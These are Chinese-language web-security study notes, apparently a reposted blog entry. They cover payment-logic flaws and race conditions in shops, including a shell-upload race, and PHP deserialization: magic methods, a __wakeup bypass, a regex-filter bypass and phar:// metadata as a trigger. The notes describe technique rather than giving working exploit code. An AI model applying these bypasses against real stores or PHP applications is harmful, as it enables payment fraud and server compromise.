重复支付:类似试用券,你试用完或者主动取消试用时,试用券会返回到账户中
最大额支付:在设置的时候,商城的支付金额有上限,当输入999999999999999类似的一个超大数的时候,可能会存在溢出,或者直接变为0
条件竞争:同时发包获取优惠券等,可以绕过限制的次数
大米cms支付逻辑漏洞演示:1.注册账户登录 2.选择产品购买 3.抓包进行修改 4.查看自己的余额
7.条件竞争漏洞:开发者在开发时认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程
产生位置:1.文件上传 2.领取优惠券 3.抽奖 4.转账 ..........................
思路:构造两个包 1.不断发送上传包 2.不断访问shell地址


反序列化漏洞
序列化与反序列化概述:序列化:将对象转换为字符串 反序列化:将字符串转化为对象
意义:在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程,如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作
PHP序列化字符串:o:6:"Person":2:{s:4:"name";s:5:"gouzi";s:3:"age";s:2:"18";}
O:object 6:对象所属类名长度 Person:对象所属类名 2:类中的两个属性 s:string 4:属性名长度 name:属性名
漏洞原因:在PHP代码中使用unserialize函数反序列化某一个对象,该对象自动执行自定义的magic method(魔法函数),如果这些magic method中有危险操作,或者在魔法函数中调用类中其他带有危险操作的函数,如果危险操作是我们可控的,那么可能会触发php反序列化漏洞
魔法函数:
1.connstruct()当对象创建时会自动调用(但在unserialize()时不会自动调用)
2.destruct()当对象被销毁时会自动调用
3.wakeup():unserialize()时会自动调用
4.toString()当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
触发条件:echo($obj)/print($obj)打印时触发,反序列化对象与字符串连接时,反序列化对象参与格式化字符串时,反序列化对象与字符串进行==比较时(php进行==比较时会转换参数类型),反序列化对象在经过php字符串函数,如strlen(),addslashes()时,在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串时,反序列化对象作为class_exists()的参数时
5.get()当从不可访问的属性读取数据
6.call()在对象上下文中调用不可访问的方法时触发
实例:private属性序列化字符串时会有%00
如何绕过_wakeup:当设置对象的属性值个数大于实际属性值个数时会跳过_wakeup
对输入参数增则匹配:在对象的属性长度前面加上+ 修护:正则表达式改为/[oc]:[^:]*\d+:/i
结合其他漏洞如文件包含:读取源码,层层递进(php://filter、php://input等),结合sql注入等
利用phar://流类型扩展反序列化漏洞攻击面:phar文件包在生成时会以序列化的形式存储用户自定义的meta-data,配合调用文件系统函数如file_exists(),is_dir()等,参数可控的情况下使用phar://作为参数实现自动的反序列化操作
phar文件包是一种使用单一文件格式分发php应用程序和库的方法
phar文件格式:
存根:是一个php文件,充当引导程序,其中至少包含代码:<?php _HALT_COMPILER();?>
描述存档中包含的源文件的清单:该文件属于可选,里面存储着其中每个被压缩文件的权限、属性等信息,其中还会以序列化的形式存储用户自定义的meta-data,这是反序列化漏洞利用链的关键一环
源文件:实际的phar功能,想要亚索在phar压缩包中的文件
可选签名:用于完整性检查

猜你喜欢

转载自www.cnblogs.com/Web-Fresher/p/12762854.html